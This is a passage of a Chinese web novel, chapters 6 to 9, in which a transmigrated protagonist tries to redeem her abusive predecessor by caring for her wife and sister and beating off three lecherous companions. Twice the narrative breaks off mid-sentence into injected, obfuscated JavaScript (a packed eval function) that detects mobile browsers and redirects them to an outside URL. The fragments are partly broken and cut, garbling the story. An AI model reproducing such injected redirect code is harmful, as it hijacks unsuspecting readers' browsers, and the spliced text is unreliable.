想通之后,沈之虞便觉得她刚才是被乾元的反常迷惑住了,才会听对方说什么“她是季平安,却又不是季平安”的鬼话。 如今想来,乾元从第一句话开始便在故弄玄虚,尽是虚假之言,她不过是浪费时间罢了。 意识到这件事后,沈之虞凛冽的目光落在季平安的脖颈处。 等到时机成熟,她必然要让乾元付出代价! 季平安没有叫出来装死的系统,但莫名感觉自己的背后凉飕飕的。 她又紧了紧身上的衣服,这时候芸娘也从家里回来,重新来到了院子里。 走近后芸娘才注意到,季平安的脸上似乎有股愠色。 她不知道季平安是因为系统装死才生气的,只猜想道是与坤泽吵架。 毕竟两人之间隔得距离比先前要远上许多。 芸娘的心往上提了提,担心季平安又要犯浑。 芸娘和季母也是旧识,当时她还劝过季母不要太溺爱孩子,否则日后挑不起家里的担子。 季母却总笑着道孩子还小,她多上几次山攒些钱,孩子们也能好过些,不能以后想吃糖都买不起。 只可惜世事难料,季母没有如愿,她说的劝诫之言反倒成真。 芸娘主动开口,打破两人的沉默,道:“虽是刚出冬的日子,但这兔子却长得肥,平安怎地想到今天要上山去。” “前日碰到县城里的人,竟是说我干什么都不成,你看我不过上山一次,便能捡到野兔,也该是让他们都好好瞧瞧!” 季平安语气里都是不服气,声音特地放大了许多。 说完,她又翘起来腿,目光落在沈之虞的身上,语气轻佻,活脱脱一个色痞无赖,“而且,你说这么个漂亮的坤泽,我怎舍得让人吃苦。” 她总要为自己的转变找个借口,日后行事才更方便。 原主也好色,季平安便将这个特点不断放大,总比爱打人的名头好。 再者,平心而论,村里没有一个人的长相能比得上沈之虞的,她光明正大地待人好也是理所应当。 就是说这话的时候,季平安顶着沈之虞要杀人的目光,内心欲哭无泪。 这时候,她反倒开始庆幸,自己今天忘了买刀回来。 要不然,她今天晚上正睡着觉,沈之虞说不定就悄悄摸摸地拿刀把她砍了。 越想季平安越觉得这件事可能会发生,她在心里把买刀这件事划掉。 好感度归于0之前,她决定家里都不能买刀了。 对了,还有背篓里她带回来的箭,也得好好藏着,放到自己枕头下面去,万万不能让沈之虞有碰到的机会! 这话太过流氓,芸娘哪怕已经成亲,听到后也接不上话,手和脚都不知道往哪里放。 好在这时候岁岁跑过来,吸了吸鼻子,“阿姐,烤兔子好香。” 野兔肉里面有油脂,芸娘还拿了些自家的盐抹上去,烤着烤着醇厚的咸香味便弥漫出来,勾的人眼睛都舍不得离开。 芸娘笑了下,对着两个小孩道:“现在还没好,要等半个时辰才能吃。” 就这样一边咽口水,一边又等了半个时辰后,季平安才把野兔从简单搭着的木架上拿下来,“可以吃了!” 说完,她们也顾不得烫,趁着刚烤好吃了起来。 岁岁最先往嘴里塞了一块,被烫的“嘶”了一声,却也舍不得再吐出来,在嘴里滚了几圈后才吞到肚子里。 沈之虞也撕了一块肉,用指尖拿着送到嘴边,却猝不及防地被烫了一下。 她却比岁岁要斯文许多,只是轻轻地皱了下眉头,随后轻轻地吹了口气,等到温度合适了才又吃进嘴里。 季平安忍不住笑,自己也扯了个兔腿吃,肉质紧实,里面的汁水却多,每丝纤维上都泛着油光。 吃到嘴里的那一刻,野兔肉的鲜和嫩险些让她落下泪来,今天劳累了一天都是值得的! * 她们吃肉吃的满足,大柳村其他人家却是煎熬。 众人都是吃惯了野菜和糙面的,骤然闻到肉味,一个个地都从屋子里出来,聚在家门口说话。 “这是谁家在吃肉,咋这么香?” “我也想说,孩子本来都快睡着了,愣是又被这股肉味馋醒,说肚子饿的不行,让我明日去县城买肉去,我哪来的银子给他买!” “我家那个也是,揍了她两下才安生地上床睡觉去。” 富贵娘也住在这一片,闻到肉味就从屋里面跑了出来,“咱们边上这几户人家不都在这儿呢,怕不是从村北传过来的?” 村北的人家里有几十亩地,收成也多,有了余粮还能去县城里卖,因此家里富裕些,吃肉也不是什么奇怪的事,她这才第一时间想到。 听到富贵娘这话,一个汉子笑了,“那可隔着远呢,肉味能让我们闻见?” “是啊,这味浓的就像在我眼巴前放了盘肉,指定不能是北边那几家。” “说的也是,话说咱们这几户,季家和芸娘是不是不在啊?” 这话说出来,众人左右看看,却觉得这比从村北传过来的还不可信。 一个妇人也正吃着饭,手上端着米汤也不影响她说话:“芸娘孤儿寡母的,能不饿肚子就行了,季家暂且不说那个无赖,难不成一个孩子还能赚上来肉钱?” 几户人家还在争论,有个人却突然开口道:“你们看,冒烟的那家好像就是季家的房子吧,难不成是在烤肉?” 他们都看过去,刚还嘲笑的人也闭了嘴。 富贵娘更是使劲看着,都不敢眨眼,生怕自己看错了。 过了许久后,才有人开口,“这味闻着比猪肉可香多了,难不成白日的时候,季家那大闺女真打到了猎物?” 村里人不少都知道季平安今日上山打猎了。 哪怕是不知道的,站着说两句闲话也要提到这件事。 若是昨日有人说,季平安能打到猎物,还吃上了烤肉,村里的人估计都会觉得这个人睡觉做梦还没醒呢。 但如今事实就摆在眼前,他们就算再不相信也得相信。 “前几年,她娘还在的时候,打猎也是把好手,你说这打猎的技能也能从娘传到闺女身上?” 富贵娘冷笑一声:“你们又不是不知道季家大闺女啥样?保不定是刚出冬的兔子都笨,正好撞到树上让她捡了呢?” “也是啊……” 这个说法倒是合理许多,众人也开始在心里琢磨,自己要不要也上山碰碰运气。 毕竟那可是肉啊! 正是农忙的时候,从早上干到晚上,忙活了一天,晚上能吃上点荤腥,这日子过的都有盼头多了! 但想是这样想,众人却都没有说出来,转头聊起来了别的闲话。 毕竟多一个人上山,他们捡到猎物的可能性不就小了。 富贵娘没闲聊,只是转头回了屋子里头,把自己的闺女叫过来。 “富贵你过来,娘跟你说点事。” 富贵也是乾元,好在有几分力气,就在县城里做工,每月能得几百文钱,这在大柳村算得上顶好的。 只是她人老实,平日里话不多,干完自己的活就爱在屋子里待着。 富贵娘看到她过来,人却不说话,恨铁不成钢地道:“也不知道你这锯嘴葫芦的样跟谁学的,我和你爹哪个不是爱说话的。” “你不爱和村里人说话也罢,怎的遇到坤泽都不爱说,上个月给你介绍的那个……” 富贵打断她,问道:“娘,什么事?” 这时候富贵娘才想起来正经事:“我跟你说……” 她把今日季平安去山上捡到猎物的事情说了说,“她比你可差多了,后日你不是不上工,也不用去地里帮忙,你就去山上转转,指定也能得个野鸡野兔之类的。” “娘,人家不是捡的。” 富贵也见到过山上的猎物,比人还要灵活,怎么可能捡到。 “不是捡的,难不成还真能是她猎的?” “怎么不能?”说完后富贵就想转身回屋。 富贵娘嘿了一声,“你现在倒是话多。” 不过她才不管,只是道:“总之你得去山上一趟,别忘了!” — 季平安也不知道自己的烤兔子馋了一村人,还把小孩惹哭了。 烤兔再肥也只有一只,她们三个大人,两个孩子吃的干干净净,连骨头架都嗦地看不见一丝肉。 吃完后,芸娘也要带着满满回家。 临走前,她问季平安道:“除了野兔,你家中可还有别的吃食?” 只是用了次刀,她和满满就吃了顿味道极好的肉,哪怕眼前的人是无赖,芸娘觉得还是她占得便宜更多。 “怎地,你和县城里的人一样也看不起我,觉得我连吃食都搞不到?”季平安故意曲解她的意思,甚至想要把人赶出去。 芸娘连忙摆手,语气里都带了几分着急:“我不是这个意思,只是家里昨日还余下几张糙饼,想着你和阿九她们要不要吃,我给你们送过来。” “糙饼你自己留着吃,之后或许还要找你借刀呢,且瞧着吧!” 季平安脸上闪过几分不耐烦,“若是没有其他的事,我就把门关了!” 芸娘张张嘴,似乎是有什么想说,最后却又被咽在了肚子里,摇摇头道:“没有了。” 话音落下,季平安就把篱笆带上,转头回了院子里面。 “阿娘?”满满抬头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339061|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 芸娘拉起她的小手,看了眼季平安的背影后,才轻声道:“我们回家。” 果然还是那个熟悉的季平安,旁人和她说两句话,便觉得旁人是看不起她。 但哪怕这样,也比打人要好多了。 村里也不是没有其他的混账乾元,但是有些乾元娶妻之后便收敛许多,也有着当家的模样。 若是季平安能真的好好对阿九,两人说不定也能把日子过好呢,她在心里想。 把人送走之后,季平安对着蹲在地上的团子道:“岁岁,你和阿九把烧剩下的灰拿到灶房里去。” 柴火烧完了之后就是草木灰,这可是好东西,不仅能当庄稼的肥料,还能制作碱水,再拿些放到盛着米面的罐子里头,还能防潮防虫。 “好哦,阿姐。” 沈之虞虽然厌恶乾元,但不至于看着个小孩自己干活,她也帮忙拿着笸箩把草木灰拿回去。 季平安则是把背篓带回到了自己的房间,先把里面的野菜拿出来,然后就是里面的药。 药堂郎中给她拿了不少药,除了她要求的那些,还有不少治疗头疼脑热的,往后总用得上。 在药堂的时候,季平安也看见了这个朝代的文字,比繁体字还要复杂些。 她在原来的世界,大学专业是计算机,对于文学方面更是一窍不通。 季平安认起来麻烦,索性直接说自己不识字,让郎中把不同种类的药包成不一样的形状,日后也好区分。 治疗跌打损伤的比较好认,是用小陶罐盛着的膏体。 她拿着这个小陶罐出了房间,就见到往她这里走来的岁岁。 “阿姐,我和阿九把院子里的灰都搬完了。” 可能还是因为之前的影响,岁岁还是隔着一步和她说话,但眼睛里的害怕少了些。 但季平安很满足,想着改天给小孩买个糖吃,“我都看到了,岁岁好厉害。” 岁岁很少被人夸,听到这话眨了眨眼睛,才仰着头小声说:“阿九也厉害。” 听到这话,季平安看向院中的人,微微挑了挑眉,“对,阿九也厉害。” 沈之虞冷冷地看了她一眼,便转头回了屋。 只是她没有想到,自己刚进了屋,转头季平安便带着岁岁也过来了。 她坐在床边,眯了眯眼眸,“你来做什么?” “从县城里拿了些药,给你们治治伤”,季平安把手上的陶罐拿出来,“我说过,之后都会对你们好的。” 解释完,她便先给岁岁擦了药,原主多是用木棍打的伤,过了几天后便淤成青紫色,看着吓人,“疼的话告诉阿姐。” 岁岁摇头:“不疼。” 乳白色的药膏抹在胳膊上,不仅不疼,还带着股凉丝丝的舒适感。 她在心里默默想,如果阿姐能一直这样就好了,比阿娘在的时候还要好。 给岁岁抹完药,季平安抬头看向坐在床边的沈之虞。 岁岁知道两人是在治病,自己也非常懂事的去了灶房烧水。 在她开口前,沈之虞便道:“我自己抹药就行。” 药对现在的她是好东西,她不会拒绝,但绝对不可能让乾元碰到她。 季平安却道:“胳膊上的伤你可以自己抹药,不过腿上的伤得我帮你抹药。” 沈之虞看她:“你不是说,除了我离开,其他的条件都能满足我吗?” “我现在想要自己抹药,你能答应吗?” 季平安:“……” 打脸的次数多了,也就感觉不到尴尬了。 “除了抹药和离开这两件事,其他的我都能满足你。” 刚才沈之虞搬草木灰的时候她便注意到,对方走起来的时候,似乎有些慢,还带着些不明显的跛。 “我得看看你的腿是只有外伤,还是伤到了筋骨,若是伤的严重,我们得去县城里看看。” 季平安可没有忘记,原剧情中,沈之虞就是被原主打跛的。 所以她必须得借着抹药,看看对方的腿有没有问题。 沈之虞声音很冷:“你会看?” 不过是色痞子乾元想找个机会,满足自己的欲望罢了。 季平安道:“我今天特地让药堂的郎中教了我,摸摸骨头就能看出来。” 筋骨除了问题,膝盖处会有突起或者肿胀,容易辨别出来。 她说这句话,本想的是解释自己没有其他的心思。 但听在沈之虞的耳中,便是乾元不仅要看她的腿,更要摸她的腿。 她只是失忆了,又不是变成了傻子。 若非是自己的妻郎,又有哪个坤泽会让人看自己的腿! 沈之虞不让步,“你告诉我哪个位置,我自己来。” 季平安见状,只能把药递给她, 她伸出来自己的腿,期间脚尖不小心碰到了坤泽的,又立刻收回:“这样,我摸哪个位置,你便跟着我一起。” 沈之虞垂眸,跟着她开始摸自己膝盖的位置。 “这里疼吗?有突出来的骨头之类的吗?” 季平安摸着膝盖骨左边的骨头,眼神却没有离开过沈之虞的腿。 沈之虞莫名有种乾元在触碰自己的感觉,但这种方式偏偏又是自己提的。 她压下心底的烦躁,道了声:“不疼。没有。” “真不疼?” 问完,季平安就对上双冷冷的眸眼。 好吧,看来是真的不疼。 季平安又引着坤泽检查了几个位置,期间却不经意瞥到了对方露出的一截白皙脚腕。 被捡回来的时候,沈之虞身上的外衫就破破烂烂,衣服是普通的料子,季平安猜测沈之虞可能是秘密出的皇宫,特地做的伪装。 原主也没有给过她多余的衣服,便只能一直穿着,束腿的位置破了个洞,站着看不太明显。 但坐下后,再一弯腰,衣服向上提,白皙脚腕便露了出来。 看来若是得空,她得带岁岁和沈之虞去县城里买几套衣服,往后天热起来也能换着穿。 这样想着,季平安就仍不住多看两眼,想着该买些什么料子和颜色的衣服。 只是她刚瞥到一眼,沈之虞便立刻坐直身子,将衣服往下拉了拉遮住那截脚腕。 她现在不仅想要挖掉乾元的腺体,还想要挖掉对方的眼睛! “好看吗?” 季平安本想说好看,毕竟沈之虞之前也是金尊玉贵养出来的公主,肤白如玉,哪怕上面有伤痕也无法掩盖。 但话到了嘴边,她才觉得这话太轻佻,没有外人在的情况下没有必要说。 于是她道:“不好看。” 沈之虞冷哼一声,“呵。” 季平安:“……” 7. 第 7 章 哪怕只是一个字,也能听出来沈之虞语气里的冷意,能把人冻死。 但是季平安却觉得很好听,无他,全都是系统的[目标人物好感度-10]衬托出来的。 虽然说每次都能让她多十次抽卡机会,但她也要有命抽卡啊! 季平安转移话题,把手上的药膏递给对方:“你和岁岁每天都涂一次,若是三天后腿还疼,记得和我说,我们再去县城里。” “你的背上和腰上如果有擦不到的地方,可以让岁岁帮忙。” 沈之虞接过来陶罐,可能是因为乾元拿的时间久,温温热热,还带着对方手心的温度。 她顿了片刻,才道:“不用你管。” 季平安不放过任何一个为自己说好话的机会:“你其实可以试着相信我些。” 沈之虞这次倒是抬了抬眼,语气平淡道:“相信你不会放我离开,还是相信你不能让我自己抹药?” 季平安:“……” 她以后再也不随便做承诺了! “当然是相信我会对你好。” “你现在怀疑我说的话正常,毕竟前几日你在家中受过诸多委屈。” “但是县衙牢里的人都还能改正自新,你是不是也给我一个机会,好好看看我今后是如何待人的,对不对?” 相比较外人前的轻佻,这些话却是说的正经,能听出来几分诚意。 沈之虞却不会为她的三言两语所打动,她只想把县衙牢里的酷刑在乾元身上挨个试一遍。 “你现在不说,自己和昨日的不是同一人了?” 季平安倒是想说,毕竟原主留下的黑锅实在太大。 但系统的限制,让她只能把所有心思都压下去:“你不是不相信?” 沈之虞摩挲了下手中的药罐:“那倒是我的错了?” 乾元比她想象的还能颠倒黑白。 季平安立刻道:“那肯定也不是你的错。” 沈之虞不想再和她说下去,“既然药已经送来了,你也可以走了。” 原主做的孽太多,季平安倒是也没有多少挫败感。 在原本的世界,她曾经捡到过一只遭受过虐待的流浪猫。 猫猫的脖子上被人绑着铁丝,每次呼吸都会摩擦脖颈处的血肉。 一只眼球也被打坏,却还敢从野狗嘴下抢食物,季平安没忍住把猫猫捡回了家。 因为被人虐待过,捡回家的时候,猫猫对她很防备,连靠近都会很凶的呲牙。 但她却很有耐心,帮助猫猫养伤治病,投喂罐头猫条,然后被容许靠近三步、两步、最后能将猫猫抱在怀里面撸。 一只猫猫尚且还需要罐头猫条,她又怎么可能凭借几句话,就获得对方的信任。 毕竟平心而论,若是她遭受那些磋磨,恐怕比沈之虞还要想将人抽骨扒皮。 季平安转身想要离开,走到屋门口后却顿住了脚步。 沈之虞下意识地握紧她衣袖里藏着的那颗石子,不知道乾元要做些什么,“你……” “我突然想起来,你记得腺体处的伤也要抹药。” 季平安也是走到门口,才想起来她刚才忘了嘱咐这件事。 虽说只是破了个皮,但腺体处的皮肤也更为细嫩,若是治疗不好容易留下祸根。 她现在和沈之虞的生命值绑定着,得把人养好,最好身上一丝伤都没有。 只是腺体实在隐秘,季平安也知道这话多有冒犯,说完就急忙跑出了屋子。 不用看,她都知道沈之虞如今是何种眼神。 屋门晃晃悠悠一会儿后,总算没有吱吱呀呀的声音。 沈之虞的视线却还落在屋门口处,她就知道不能够相信乾元的话。 流氓、色痞、无赖! 从沈之虞的屋子里出来,季平安便见到了从灶房里面出来的岁岁。 “岁岁,看到灶房里面的粳米和麦面了没有,以后我不在家,你和阿九吃就行。” 若是放到往日,岁岁必然不敢相信季平安的话。 但她已经吃过了烤兔,便觉得阿姐说的话是可以信的,“阿姐,我到时候做了,给你留最大的那张饼。” 季平安笑了下,觉得小孩懂事地过分,“好,那阿姐等着吃。” 她说完,本想让小孩快些回屋睡觉,却见到岁岁仰着小脸看她,说道:“阿姐,灶房里的肉,便在那里放着吗?” “那要放到那里?”季平安有些不理解。 岁岁小声道:“婶婶说过村里好像有贼人,让我们把东西都放好。” 对岁岁来说,肉实在是好东西,若是被偷走了,她肯定要把眼睛都哭坏。 也是听到这话,季平安才反应过来。 这个世道,人要是饿了什么都做的出来,更不必说夜里悄默声地翻过篱笆院子偷东西了。 “多亏了岁岁,要不然我们家的肉可能还真的会被贼人偷走呢!” 季平安忍不住摸了摸她的头,“阿姐去把肉和粮食都挪到屋子里去。” 岁岁点头道:“阿姐,我和你一起!” — 翌日清晨。 季平安起床,先跑到灶房里面烧了些热水,准备洗洗身子。 她原本是想去灶房里做早饭,但弯腰的时候,总觉得自己身上闻着有股味道。 想来也是,昨天先是在山上转了半天,遇到毒蛇又被惊出一身冷汗。 其后便马不停蹄地从大柳村往返县城,整个人都是灰扑扑的。 更不用说,村子里洗沐本就麻烦,原主都不知道是多少前天洗的身子。 季平安实在忍不了,只能先把做饭推迟,烧些热水。 村里人的家里都没有浴桶,基本都是拿布巾沾水擦擦身子。 若是到了夏天更简单,站在院子里,从头到脚往下浇盆水就行。 现在天冷,季平安烧好热水之后,混着些冷水一起拎到了自己的屋子里面。 等到她擦洗完身子,换上件新衣服后,季平安忍不住满足地喟叹一声,终于舒服了! 她把脏衣服拿在手里,左手拎着水桶,打开屋门准备把水道出去,便见到了院外的沈之虞。 她主动打招呼:“起的这么早?” 沈之虞早起睡不着,便从屋子里面出来透透气。 闻言,她转过头,首先看到的却是乾元手上拿着的亵衣亵裤,已经撸起袖管的胳膊。 沈之虞立刻移开眼睛,语气里都有些急:“你先把衣服穿好!” 季平安啊了一声,低头看自己的衣服,她这不是好好的? 她又反复看了两遍,才意识到是自己为了方便挽起来的袖子。 季平安把袖子放下来,脏衣服也裹成团放到洗衣盆里后,才忍不住笑的看向眼前的人:“好了,我都收拾好了。” 她倒是难得见到沈之虞这种着急的模样。 村里人不讲究,农忙干的热乎朝天的时候,才不会在意有没有露胳膊。 更不必说,季平安的观念里面,胳膊和腿之类的,看到也没有什么关系。 沈之虞这才重新看向她,撇了眼胳膊处的袖口才道:“穿衣服这种事情还要让人提醒吗?” 季平安无辜地眨眨眼:“我刚才就是洗了洗身子,也没想到你会在院子里面。” “ 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评论区的网友被馋的不行,偏偏吃不到,只能含泪点夜宵,点赞最多的评论就是“这个博主管杀不管埋”。 沈之虞虽然没有应她这句话,人却走到了灶房,拿了些野菜过来。 季平安见人同意,也回屋盛了些麦面,准备多烙点饼。 麦面并不是后世的面粉,里面还带着些麦糠,因此麦香的味道也更加浓厚。 虽然现在家里油盐酱醋都缺,但季平安觉得做出来的味道不差。 沈之虞把野菜洗过,又撕成了小块,见到季平安往麦面里面加水后,便将撕好的野菜也放到里面,便成了能够烙饼的面糊。 季平安见到碗里的野菜,下意识看向自己旁边的人。 “看我做什么?不会做了?”沈之虞问她。 季平安笑了下:“没有,就是想着阿九帮了大忙,早饭可要多吃点。” 她本来还以为,沈之虞会跟她对着干,没想到对方还会给她帮忙。 沈之虞呵一声,“我只是饿了,而且我不是岁岁。” 不过是往里面放了些野菜就被说成“帮了大忙”,这样哄她没用。 季平安仿佛没听出来言外之意,“嗯,那你比岁岁还要厉害。” 火烧起来,她慢慢地把面糊倒进做饭用的陶罐里面去,薄薄一层。 不出一会儿,面饼开始透出些金黄色,边缘也微微鼓了起来,麦面的香气开始弥漫。 季平安找准时机,用木铲把薄饼翻了个面,心里数了五个数,一张野菜饼便成了。 等到面糊烙完,也差不多是三个人的份量。 季平安自己先拿了张饼,又对沈之虞道:“你也吃,剩下的饼我放灶上温着,岁岁起来吃也不会凉。” 沈之虞拿了张饼,吃到嘴里的时候,首先是麦面醇厚的香气,也盖住了野菜中的苦味,反而能尝出来几分清新。 季平安做饭的时候,她就在旁边看着,自然知道对方不能假手于他人。 但做饭这件事情,不可能一夕之间学会,莫非乾元以前便是会做饭的? 季平安见她吃的认真,挑眉问道:“是不是很好吃?” 沈之虞看着乾元,莫名从对方的语气里听到几分,希望得到承认的期待感。 她顿了片刻,道:“好吃。” 季平安眨眨眼,几乎以为对方的好感度要涨。 只是还没有等她点开面板,便又听到对方开口。 “不若以后,家里的吃食便都由你来做,如何?” 季平安:“……” 心好黑的一人。 8. 第 8 章 她们还没有吃完,便听到门外有一阵吵闹声。 季平安和沈之虞出了灶房,就看到有三个人站在她们家门前的篱笆前。 一个年纪和她差不多,身着蓝衣的男子首先开口,语气熟稔:“季大,快给我们开门,咱们都几天没见了!” “是啊,县城新开了家酒馆,我们可是特地过来叫上你,一起去尝个鲜。”另外一个穿着褐衣的女子也接上话。 余下的那位男子身上的衣服是绸缎,隐隐在几人中的地位最高,虽然没有开口,却也点点头,当做认同了两人的话。 季平安也认出来了眼前的人,都是原主之前的狐朋狗友。 原主和她们之间,都是按着家里的排行称,蓝衣男子是王二,褐衣女子是郝大,两人均是隔壁村里的乾元,和原主一样,顶顶有名的无赖。 余下那位穿绸缎的男子名为巩荣,家里有亲戚在县衙里做官,是原主在县城里认识的。 和这几个人在一起,没有啥好事,季平安直接拒绝道:“我今日有事,不去喝酒。” 这话一出,巩荣便皱了皱眉。 王二看到,非常有眼力见地说道:“昨日约好的喝酒你没有去,巩荣还担心你是不是遇到麻烦了,今日才特地来村里找你,怎地你今日还要拒绝。” 郝大在旁打着圆场,“季大,你先把门给我们开了,起码也让我们进去讨杯茶喝对不对?” 他们隔着门口喊,原本还睡着的岁岁也醒了。 她从屋内出来,便看见了篱笆外的三人,整个人都紧张了起来,立刻看向季平安。 季平安本是想着怎么拒绝对方,结果便感觉自己的衣服被人拉了拉。 她低头看过去,便看到在她腿边的岁岁:“怎么了岁岁?” “阿姐……” 她之前就见过这几个人,每次阿姐和他们出去回来,都是醉醺醺的。 若是今天阿姐回来,会不会又变成那个爱打人的阿姐? 岁岁不想让阿姐和门外的人说话,但又担心说出来会让阿姐生气,于是最后只能弱弱地喊了句阿姐。 季平安却以为,岁岁是害怕几个人,当下更不想搭理对方了。 她往门口走了几步,隔着篱笆门道:“我说了今日有事,往后也不会再去喝酒,你们且回吧。” 这句话说出来,基本就是要断交的意思,门口的三人当即就变了脸色。 许久没有开过口的巩荣,这时脸上带了抹笑地问道:“怎地,你这是家中有了坤泽小娘子,连喝酒都不能去了?” 话音落下,他旁边的两人也忍不住笑了出来。 王二:“我怎么没有听说过,咱们季大还怕家里坤泽呢?” 郝大摇摇头,刻意拿捏着腔调道:“这你就不懂了吧?看看季大的坤泽,比我们在县城里看到的不知道要好看上多少倍呢,家里有这么个娇娘子,也怪不得季大看不上我们了。” 话虽然是对季平安说的,但是自始至终,巩荣的眼神都没有离开过沈之虞,眼神还有着藏不住的惊艳。 他倒是不知道,穷乡僻壤地大柳村,还能生出这么个美人。 若是说之前,季平安对待几人的态度是井水不犯河水,她只和对方划清界限便可。 但现在,听到巩荣的这句话后,她却不是那么容易善罢甘休的了。 且不说,她的好感度和生命值都绑在沈之虞身上。 单是路上碰到巩荣这种随便调戏的无赖,她也是看不过去的。 季平安径直走到他们面前,将篱笆门打开道:“你们把嘴巴放干净点,若是再说出这种话,也别怪我不客气了!” 说话的时候,她也在心里默默给对面三个人点蜡。 她都不用回头看,便知道沈之虞此时的眼神会有多么冷。 当然,眼前这三个人的容貌估计对方也会记得清清楚楚,方便日后清算和报仇。 巩荣听到这大话,眼神才不舍地从沈之虞的身上挪开,他不屑地笑着问道:“你要怎么对我不客气?” 在他们当中,三人家里都比较富裕,尤其是巩荣,但是季平安的家境却差点意思。 他们接纳原主,也是因着她是乾元的缘故,再加上能把跑腿干杂活的事情交给对方,才接纳了原主。 如今听到季平安说要对他们不客气,像是听到了天大的笑话,根本没有人相信。 “是啊,我和郝大都好害怕啊,怎么你要打我们三个吗?” “季大也是摆上谱了,让我还以为是县衙里面哪位大老爷来了呢,你说是不是?”郝大已经在旁开始捂着肚子笑。 他们三个人笑的格外嘈杂,季平安等了会儿,安静下来才问道:“笑完了?” 她揉着手腕,微微侧了侧脖子,语气平静,无形之中却又一种气势。 巩荣有一瞬间被她吓住,转念却想到对方平时的样子,重新放下了心。 他冷哼一声道:“你若是不想和我们交往也行,把欠我们三人的酒钱还来,一共五两银子。” “若是没有银子”,巩荣的语气一顿,随后便用手指着季平安的身后,“你拿身后的坤泽来赔罪也可以,我们就当没有发生过这件事。” 季平安直接把巩荣的手“啪”地一声打掉,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季平安却打地酣畅淋漓,看着他们用一盏茶的时间慢慢站起来后,揉了揉手腕问道:“你们还需要我赔罪吗?” 三人急忙摇摇头:“不用了不用了!” “那还敢肖想我的坤泽吗?” 几人这下连眼睛都不敢抬了,语气里都带着几分颤抖:“绝对不会了!绝对不会了!” “那就给她道歉。”季平安垂眸看她们,莫名带着压迫感。 “对不起对不起,我们错了,以后再也不敢说这话了。” 季平安踢了他们一脚,“声音大点。” 三人不敢不听,又扯着嗓子将刚才道歉的话大声重复了一遍。 院子中的沈之虞没应,带着些复杂的视线落在季平安的身上。 9. 第 9 章 他们几个人道歉的时候,季平安也看向院子里的沈之虞,见对方听到了,才没让地上的人再重复一遍。 道歉完之后,季平安走近他们几步,几人忍不住地想往后面退。 “别动。” 季平安看他们站直之后,先往郝大和王二的口袋掏了掏,两人身上的银子加起来都不到五十文,估摸着是这次喝酒还想让她请客。 巩荣身上倒是带着些碎银,不到一两。 她搜刮干净,还拿着银子在三人面前晃了晃:“就当是你们还的酒钱了。” 若不是巩荣提起来,季平安也想不到把酒钱要回来这件事,她想了想没有其他的事,才道:“滚吧,记得以后别来这里了!” 听到这话,三人如同被赦免一般,屁滚尿流地朝着村口的位置跑,没一会儿就不见了踪影。 季平安本想回家,结果转过身,就看到自家门外里里外外地围了不少人。 他们刚才的声音很大,再加上这个时间点,家家户户都在做早饭,有什么动静都能够察觉到,因此便都来凑热闹。 如今热闹看够,他们也都准备离开,急急忙忙地道:“季家闺女你先忙,家里的早饭还做着呢,我们就回去了啊!” 季平安面前他们忍着没说话,但是等到离开了几十米远后,他们才聚在一块。 一个人手揣在袖子里,忍不住道:“季家闺女踹人时候的那两下,看着是真疼啊!” 他身旁的人笑了下,倒是不意外:“她不本来就是混混,平时就爱打人,要不然岁岁身上能全是伤?” “你说的有理,但这次打的可是郝大和王二他们啊,看着就解气!” 说话的这人,表侄女嫁到了隔壁村,还不止一次被郝大和王二欺负过,因此早就看不服这几个混在一起的人了。 “这叫什么来着,反……反目成仇?我说的应该没错,县城里的话本可不就是这样演的?” “而且啊,我觉着季大刚才打人的那几招,可比书里说的还要精彩呢!” 这话出来,大家伙都笑了,但却没有人反驳,毕竟季平安刚才打人的时候,他们都在场呢,两只手把人翻过来的那几招,确实漂亮! “你这小子,什么时候还偷偷背着我们去县城里看话本了?” “我看着刚才那架势,可是因为她院子里的坤泽才打人的,你们知道坤泽是哪个村的吗?” “只听说是季大前阵捡来的,可能是北边或者西边逃荒过来的,若是真的能因着家里坤泽收收心,那也是一件好事了。” 他们不觉得季平安和往日有什么不同,毕竟她一直也是如此,冲动爱打人,动起手来完全不讲道理。 更不用说对面欺辱的还是自家坤泽了,没有哪个乾元能忍的。 这时,倒是有人突然想到:“你们说,该不会昨日季家闺女上山打猎,也是为了自家坤泽?” “你还真别说!” 原本昨日还让他们有些困惑的事情,现下倒是能理解了。 还有一些人,在心里琢磨着自家孩子,也差不多到了该成亲的年龄,得去找村里的媒婆问问。 果然还得是成家之后,孩子才能长大。 你看,连季平安这样的无赖,都能因着自家坤泽往好处学了。 * 季平安看不到三人的身影后,才关上篱笆门,进了院子里面,沈之虞也把捂着岁岁眼睛的手放开。 她到两人的面前,先低头看向小孩,问道:“岁岁,刚才没有把你吓到吧?” 岁岁摇摇头,只要阿姐没有跟他们一起再出去,她就已经很开心了。 “那就行,岁岁你记住,日后若是再看到他们,记得回家来找阿姐和阿九。” 季平安笑了下,撸猫一样把小孩把炸起来的头发往下顺了顺,“阿姐给你做了野菜饼,去灶房里面吃吧。” 见到岁岁进到灶房里面,她才和沈之虞开了口,主动解释道:“我也不知道他们今天会来,都是从前的事情了。” 沈之虞虽然对乾元有意见,始终都对她的转变持着怀疑态度,但是这句话她是相信的,更不用说刚才乾元还是在维护自己。 她轻点头,问道:“你当真要和他们断了联系?” 狐朋狗友聚一窝,这话不是没有道理。 今日季平安把这三个人打了,明天估计和她交好的其他人也会听到消息,主动和她断了往来。 日后要是再想恢复了关系,可不是件容易事。 “本来就是要断的。”季平安的语气里面没有半点惋惜,“随意地说我欠他们的钱,还欺负你,这种人不断留着也是祸害。” “刚好他们现在把钱也还清了,以后都不用和这种人有什么交往了。” 沈之虞听完,只想说与她无关,乾元想要交往什么人,是好是坏,她都不会在意。 只是还没有开口,便感觉到自己的手心被塞进了个东西。 低下头,才看清楚是季平安刚才从巩荣那里掏出来的碎银。 